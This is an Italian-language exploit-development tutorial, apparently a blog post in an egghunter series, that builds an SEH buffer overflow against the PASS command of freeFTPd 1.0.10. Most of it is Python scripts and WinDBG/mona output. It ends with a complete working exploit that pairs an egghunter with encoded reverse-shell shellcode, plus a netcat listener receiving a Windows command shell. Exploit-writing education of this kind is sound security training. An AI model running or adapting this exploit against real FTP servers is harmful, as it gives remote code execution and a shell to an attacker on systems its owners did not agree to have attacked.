Egghunter II - freeFTPd 1.0.10

Tempo di lettura: 16 minuti
Data pubblicazione: November 21, 2022

Introduzione

Secondo articolo della serie Egghunter Buffer Overflow, target freeFTPd 1.0.10

Altri post in questa serie:

  1. Egghunter I - Vulnserver GMON
  2. Egghunter II - freeFTPd 1.0.10
  3. Egghunter III - Vulnserver KSTET
  4. Egghunter IV - TFTP Server 1.4
  5. Egghunter V - Sysax 5.3

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

freeFTPd 1.0.10

freeFTPd è un server FTP utilizzato per lo sharing di file. Nel corso degli anni sono state trovate diverse vulnerabilità, noi ci concetreremo sul buffer overflow presente nel parametro PASS. Per far si che funzioni, dev’essere abilitato l’accesso anonimo, come lo screen di seguito.

Crash Iniziale

Sappiamo che il server va in crash con il seguente comando

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 21
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 2000  # change me

payload = b'PASS '
payload += b"A" * CRASH_LEN

payload += b'\r\n'

with socket.create_connection(target) as sock:
    sock.recv(1024)
    sock.send(b"USER anonymous\r\n") 

    sock.recv(1024)
    sock.send(payload)   

    sock.close()
    
    print("\nDone!")

Identificare l’offset

Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona

!py mona pc 2000

Aggiorniamo lo script

import struct
import socket


TARGET_IP = "127.0.0.1"
TARGET_PORT = 21
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 2000  # change me

payload = b'PASS '
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad…"

payload += b'\r\n'

with socket.create_connection(target) as sock:
    sock.recv(1024)
    sock.send(b"USER anonymous\r\n") 

    sock.recv(1024)
    sock.send(payload)   

    sock.close()
    
    print("\nDone!")

Guardiamo la chain

0:000> !exchain
0014b724: 42376142
Invalid exception stack at 36614235
0:000> !py mona po 42376142
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 42376142
Looking for Ba7B in pattern of 500000 bytes
- Pattern Ba7B (0x42376142) found in cyclic pattern at position 801
Looking for Ba7B in pattern of 500000 bytes


[+] This mona.py action took 0:00:00.203000
0:000> !py mona po 36614235
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 36614235
Looking for 5Ba6 in pattern of 500000 bytes
- Pattern 5Ba6 (0x36614235) found in cyclic pattern at position 797
Looking for 5Ba6 in pattern of 500000 bytes

Quindi NSEH è in posizione 797 e SEH 801. Aggiorniamo lo script per confermare la posizione

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 21
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 2000  # change me
OFFSET = 797

payload = b'PASS '
payload += b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += b"C" * 4 #SEH
payload += b"D" * (CRASH_LEN - len(payload))
payload += b'\r\n'

with socket.create_connection(target) as sock:
    sock.recv(1024)
    sock.send(b"USER anonymous\r\n") 

    sock.recv(1024)
    sock.send(payload)   

    sock.close()
    
    print("\nDone!")

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 21
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 2000  # change me
OFFSET = 797

bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = b'PASS '
payload += b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += b"C" * 4 #SEH
payload += bad_chars
payload += b"D" * (CRASH_LEN - len(payload))
payload += b'\r\n'

with socket.create_connection(target) as sock:
    sock.recv(1024)
    sock.send(b"USER anonymous\r\n") 

    sock.recv(1024)
    sock.send(payload)   

    sock.close()
    
    print("\nDone!")

Tramite TEB e l’ExceptionList dumpo l’indirizzo di memoria su cui risiedono per vedere se c’è qualche bad char

0:000> !teb
    TEB at 0039d000
    ExceptionList:        0014b724
    StackBase:            00150000
    StackLimit:           00149000
0:000> db 0014b724
0014b724  42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08  BBBBCCCC........
0014b734  09 00 40 00 78 3c a8 00-78 e8 a8 00 01 00 00 00  ..@.x<..x.......
0014b744  b8 77 a8 00 8c b7 14 00-78 e8 a8 00 50 3f bf 75  .w......x...P?.u

\x0a non c’è più, cancello (e tolgo anche \x0d) e riavvio.

0:000> db 0014b724 L100
0014b724  42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08  BBBBCCCC........
0014b734  09 0b 0c 0e 0f 10 11 12-13 14 15 16 17 18 19 1a  ................
0014b744  1b 1c 1d 1e 1f 20 21 22-23 24 25 26 27 28 29 2a  ..... !"#$%&'()*
0014b754  2b 2c 2d 2e 2f 30 31 32-33 34 35 36 37 38 39 3a  +,-./0123456789:
0014b764  3b 3c 3d 3e 3f 40 41 42-43 44 45 46 47 48 49 4a  ;<=>?@ABCDEFGHIJ
0014b774  4b 4c 4d 4e 4f 50 51 52-53 54 55 56 57 58 59 5a  KLMNOPQRSTUVWXYZ
0014b784  5b 5c 5d 5e 5f 60 61 62-63 64 65 66 67 68 69 6a  [\]^_`abcdefghij
0014b794  6b 6c 6d 6e 6f 70 71 72-73 74 75 76 77 78 79 7a  klmnopqrstuvwxyz
0014b7a4  7b 7c 7d 7e 7f 80 81 82-83 84 85 86 87 88 89 8a  {|}~............
0014b7b4  8b 8c 8d 8e 8f 90 91 92-93 94 95 96 97 98 99 9a  ................
0014b7c4  9b 9c 9d 9e 9f a0 a1 a2-a3 a4 a5 a6 a7 a8 a9 aa  ................
0014b7d4  ab ac ad ae af b0 b1 b2-b3 b4 b5 b6 00 58 5f 00  .............X_.

Oltre a \xb6 non va, molto probabilmente lo spazio è limitato. Elimino fino a li e rimando con i restanti caratteri per essere sicuro che non ci siano altri bad char. Essendo un SEH, ciò che faccio adesso è cercare un PPR ed inserire uno short jump per arrivare nel (poco) spazio che abbiamo a disposizione.

POP POP RET

Con mona cerco il PPR

!py mona seh 

Lo inserisco nello script insieme allo short jump ed eseguo:

import struct
import socket


TARGET_IP = "127.0.0.1"
TARGET_PORT = 21
target = (TARGET_IP, TARGET_PORT) 


CRASH_LEN = 2000  # change me
OFFSET = 797

#\x0a\x0d
payload = b'PASS '
payload += b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # short jump 8 - NSEH
payload += struct.pack("<I",0x00434f17)#PPR - SEH
payload += b"\x90" * 10
payload += b"D" * (CRASH_LEN - len(payload))
payload += b'\r\n'

with socket.create_connection(target) as sock:
    sock.recv(1024)
    sock.send(b"USER anonymous\r\n") 

    sock.recv(1024)
    sock.send(payload)   

    sock.close()
    
    print("\nDone!")
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00434f17 edx=77115b10 esi=00000000 edi=00000000
eip=00434f17 esp=0014ae40 ebp=0014ae60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
FreeFTPDService+0x34f17:
00434f17 59              pop     ecx

0:000> t
eax=00000000 ebx=00000000 ecx=77115af2 edx=77115b10 esi=00000000 edi=00000000
eip=00434f18 esp=0014ae44 ebp=0014ae60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
FreeFTPDService+0x34f18:
00434f18 59              pop     ecx

0:000> t
eax=00000000 ebx=00000000 ecx=0014af40 edx=77115b10 esi=00000000 edi=00000000
eip=00434f19 esp=0014ae48 ebp=0014ae60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
FreeFTPDService+0x34f19:
00434f19 c3              ret

0:000> t
eax=00000000 ebx=00000000 ecx=0014af40 edx=77115b10 esi=00000000 edi=00000000
eip=0014b724 esp=0014ae4c ebp=0014ae60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0014b724 90              nop

0:000> t
eax=00000000 ebx=00000000 ecx=0014af40 edx=77115b10 esi=00000000 edi=00000000
eip=0014b725 esp=0014ae4c ebp=0014ae60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0014b725 90              nop

0:000> t
eax=00000000 ebx=00000000 ecx=0014af40 edx=77115b10 esi=00000000 edi=00000000
eip=0014b726 esp=0014ae4c ebp=0014ae60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0014b726 eb06            jmp     0014b72e

0:000> db 0014b72e
0014b72e  00 00 80 b7 14 00 19 d8-40 00 c8 3a a8 00 98 8b  ........@..:....
0014b73e  a8 00 01 00 00 00 90 5a-8b 01 8c b7 14 00 98 8b  .......Z........
0014b74e  a8 00 50 3f bf 75 ad a3-a8 00 8a 15 40 00 00 00  ..P?.u......@...
0014b75e  00 00 00 00 00 00 5c 74-57 00 24 03 00 00 d0 9c  ......\tW.$.....
0014b76e  a8 00 4c d7 40 00 cc b7-14 00 2c 73 49 00 ff ff  ..L.@.....,sI...

Ci accorgiamo che dopo il PPR non c’è più nulla. Questo perché l’indirizzo contiene \x00 e elimina tutto ciò che viene dopo (infatti era un bad char). Possiamo però modificare il flusso in maniera diversa.

Egghunter

Sapendo che dopo il null byte non ci sarà più nulla, invece che fare uno short jump di 8 in avanti, farne uno di -100 indietro. In questo modo possiamo saltare in un punto arbitrario del mio buffer, inserire un egghunter che andrà a cercare il mio codice arbitrario e poi eseguirà lo shellcode. Ma procediamo per punti.

Per prima cosa calcolo l’opcode del jmp short -100

nasm > jmp short -100
00000000  EB9A              jmp short 0xffffff9c

Lo inserisco nel mio script, aggiungendo anche delle B dove inserirò poi l’egghunter

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 21
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 2000  # change me
OFFSET = 797

#\x00\x0a\x0d
payload = b'PASS '
payload += b"A" * (OFFSET - 100)
payload += b"B" * 100
payload += struct.pack("<I",0x9aeb9090) # short jump -100 
payload += struct.pack("<I",0x00434f17) #PPR - SEH
payload += b"D" * (CRASH_LEN - len(payload))
payload += b'\r\n'

with socket.create_connection(target) as sock:
    sock.recv(1024)
    sock.send(b"USER anonymous\r\n") 

    sock.recv(1024)
    sock.send(payload)   

    sock.close()
    
    print("\nDone!")

Metto il solito breakpoint al SEH ed eseguo

0:005> g
(1ec0.105c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=005e6170 ebx=00a78a00 ecx=005e6170 edx=00000000 esi=4242423e edi=0014b4e0
eip=75bfe894 esp=0014b3b8 ebp=0014b3c0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
OLEAUT32!SysFreeString+0x34:
75bfe894 8b06            mov     eax,dword ptr [esi]  ds:0023:4242423e=????????

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00434f17 edx=77115b10 esi=00000000 edi=00000000
eip=00434f17 esp=0014ae40 ebp=0014ae60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
FreeFTPDService+0x34f17:
00434f17 59              pop     ecx

0:000> p
eax=00000000 ebx=00000000 ecx=77115af2 edx=77115b10 esi=00000000 edi=00000000
eip=00434f18 esp=0014ae44 ebp=0014ae60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
FreeFTPDService+0x34f18:
00434f18 59              pop     ecx

0:000> p
eax=00000000 ebx=00000000 ecx=0014af40 edx=77115b10 esi=00000000 edi=00000000
eip=00434f19 esp=0014ae48 ebp=0014ae60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
FreeFTPDService+0x34f19:
00434f19 c3              ret

0:000> p
eax=00000000 ebx=00000000 ecx=0014af40 edx=77115b10 esi=00000000 edi=00000000
eip=0014b724 esp=0014ae4c ebp=0014ae60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0014b724 90              nop

0:000> p
eax=00000000 ebx=00000000 ecx=0014af40 edx=77115b10 esi=00000000 edi=00000000
eip=0014b725 esp=0014ae4c ebp=0014ae60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0014b725 90              nop

0:000> p
eax=00000000 ebx=00000000 ecx=0014af40 edx=77115b10 esi=00000000 edi=00000000
eip=0014b726 esp=0014ae4c ebp=0014ae60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0014b726 eb9a            jmp     0014b6c2

0:000> db 0014b6c2
0014b6c2  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0014b6d2  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0014b6e2  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0014b6f2  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0014b702  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0014b712  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0014b722  42 42 90 90 eb 9a 17 4f-43 00 01 00 00 00 80 b7  BB.....OC.......
0014b732  14 00 19 d8 40 00 60 3a-a7 00 00 8a a7 00 01 00  ....@.`:........
0:000> p

eax=00000000 ebx=00000000 ecx=0014af40 edx=77115b10 esi=00000000 edi=00000000
eip=0014b6c2 esp=0014ae4c ebp=0014ae60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0014b6c2 42              inc     edx

0:000> ? ((0014b722+1) - 0014b6c2)
Evaluate expression: 97 = 00000061

Ed ecco che ho 97 byte disponibili per inserire il mio egghunter. Vado a crearlo con il solito script.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 21
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 2000  # change me
OFFSET = 797
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

#\x00\x0a\x0d
payload = b'PASS '
payload += b"A" * (OFFSET - 100)
payload += b"\x90" * (100 - len(egghunter))
payload += egghunter
payload += struct.pack("<I",0x9aeb9090) # short jump -100 
payload += struct.pack("<I",0x00434f17) #PPR - SEH
payload += b"D" * (CRASH_LEN - len(payload))
payload += b'\r\n'

with socket.create_connection(target) as sock:
    sock.recv(1024)
    sock.send(b"USER anonymous\r\n") 

    sock.recv(1024)
    sock.send(payload)   

    sock.close()
    
    print("\nDone!")

Exploit

Ora non ci rimane che:

  1. Inserire il tag c0d3c0d3 subito dopo la stringa PASS
  2. Aggiungere lo shellcode
  3. Metterci in ascolto sulla porta dalla kali

Ricordo che con il debugger attaccato l’egghunter potrebbe non funzionare, quindi è meglio fare senza. Aggiorniamo ed eseguiamo lo script

import struct
import socket


TARGET_IP = "127.0.0.1"
TARGET_PORT = 21
target = (TARGET_IP, TARGET_PORT) 


CRASH_LEN = 2000  # change me
OFFSET = 797
shellcode =  b""
shellcode += b"\xbb\xd1\xc0\x74\xfa\xdd\xc5\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x83\xe8\xfc\x31\x58\x0e"
shellcode += b"\x03\x89\xce\x96\x0f\xd5\x27\xd4\xf0\x25\xb8"
shellcode += b"\xb9\x79\xc0\x89\xf9\x1e\x81\xba\xc9\x55\xc7"
shellcode += b"\x36\xa1\x38\xf3\xcd\xc7\x94\xf4\x66\x6d\xc3"
shellcode += b"\x3b\x76\xde\x37\x5a\xf4\x1d\x64\xbc\xc5\xed"
shellcode += b"\x79\xbd\x02\x13\x73\xef\xdb\x5f\x26\x1f\x6f"
shellcode += b"\x15\xfb\x94\x23\xbb\x7b\x49\xf3\xba\xaa\xdc"
shellcode += b"\x8f\xe4\x6c\xdf\x5c\x9d\x24\xc7\x81\x98\xff"
shellcode += b"\x7c\x71\x56\xfe\x54\x4b\x97\xad\x99\x63\x6a"
shellcode += b"\xaf\xde\x44\x95\xda\x16\xb7\x28\xdd\xed\xc5"
shellcode += b"\xf6\x68\xf5\x6e\x7c\xca\xd1\x8f\x51\x8d\x92"
shellcode += b"\x9c\x1e\xd9\xfc\x80\xa1\x0e\x77\xbc\x2a\xb1"
shellcode += b"\x57\x34\x68\x96\x73\x1c\x2a\xb7\x22\xf8\x9d"
shellcode += b"\xc8\x34\xa3\x42\x6d\x3f\x4e\x96\x1c\x62\x07"
shellcode += b"\x5b\x2d\x9c\xd7\xf3\x26\xef\xe5\x5c\x9d\x67"
shellcode += b"\x46\x14\x3b\x70\xa9\x0f\xfb\xee\x54\xb0\xfc"
shellcode += b"\x27\x93\xe4\xac\x5f\x32\x85\x26\x9f\xbb\x50"
shellcode += b"\xe8\xcf\x13\x0b\x49\xbf\xd3\xfb\x21\xd5\xdb"
shellcode += b"\x24\x51\xd6\x31\x4d\xf8\x2d\xd2\xb2\x55\x2c"
shellcode += b"\x1e\x5b\xa4\x2e\x44\x1e\x21\xc8\x12\x30\x64"
shellcode += b"\x43\x8b\xa9\x2d\x1f\x2a\x35\xf8\x5a\x6c\xbd"
shellcode += b"\x0f\x9b\x23\x36\x65\x8f\xd4\xb6\x30\xed\x73"
shellcode += b"\xc8\xee\x99\x18\x5b\x75\x59\x56\x40\x22\x0e"
shellcode += b"\x3f\xb6\x3b\xda\xad\xe1\x95\xf8\x2f\x77\xdd"
shellcode += b"\xb8\xeb\x44\xe0\x41\x79\xf0\xc6\x51\x47\xf9"
shellcode += b"\x42\x05\x17\xac\x1c\xf3\xd1\x06\xef\xad\x8b"
shellcode += b"\xf5\xb9\x39\x4d\x36\x7a\x3f\x52\x13\x0c\xdf"
shellcode += b"\xe3\xca\x49\xe0\xcc\x9a\x5d\x99\x30\x3b\xa1"
shellcode += b"\x70\xf1\x5b\x40\x50\x0c\xf4\xdd\x31\xad\x99"
shellcode += b"\xdd\xec\xf2\xa7\x5d\x04\x8b\x53\x7d\x6d\x8e"
shellcode += b"\x18\x39\x9e\xe2\x31\xac\xa0\x51\x31\xe5"

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

#\x00\x0a\x0d
payload = b'PASS '
payload += b'c0d3c0d3' # 8 bytes
payload += shellcode
payload += b"A" * (OFFSET - 100 - 8 - len(shellcode))
payload += b"\x90" * (100 - len(egghunter))
payload += egghunter
payload += struct.pack("<I",0x9aeb9090) # short jump -100 
payload += struct.pack("<I",0x00434f17) #PPR - SEH
payload += b"D" * (CRASH_LEN - len(payload))
payload += b'\r\n'

with socket.create_connection(target) as sock:
    sock.recv(1024)
    sock.send(b"USER anonymous\r\n") 

    sock.recv(1024)
    sock.send(payload)   

    sock.close()
    
    print("\nDone!")

E la nostra shell viene eseguita

kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 32001
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Users\User\Desktop\Exploit\3.Egghunter\2.FreeFTP1.0.10>

Conclusioni

Alcune risorse utili:

  1. http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
  2. https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
  3. https://fuzzysecurity.com/tutorials/expDev/4.html
  4. https://www.secpod.com/blog/hunting-the-egg-egg-hunter/
  5. https://sec4us.com.br/cheatsheet/bufferoverflow-egghunting
  6. https://github.com/epi052/osed-scripts/blob/main/egghunter.py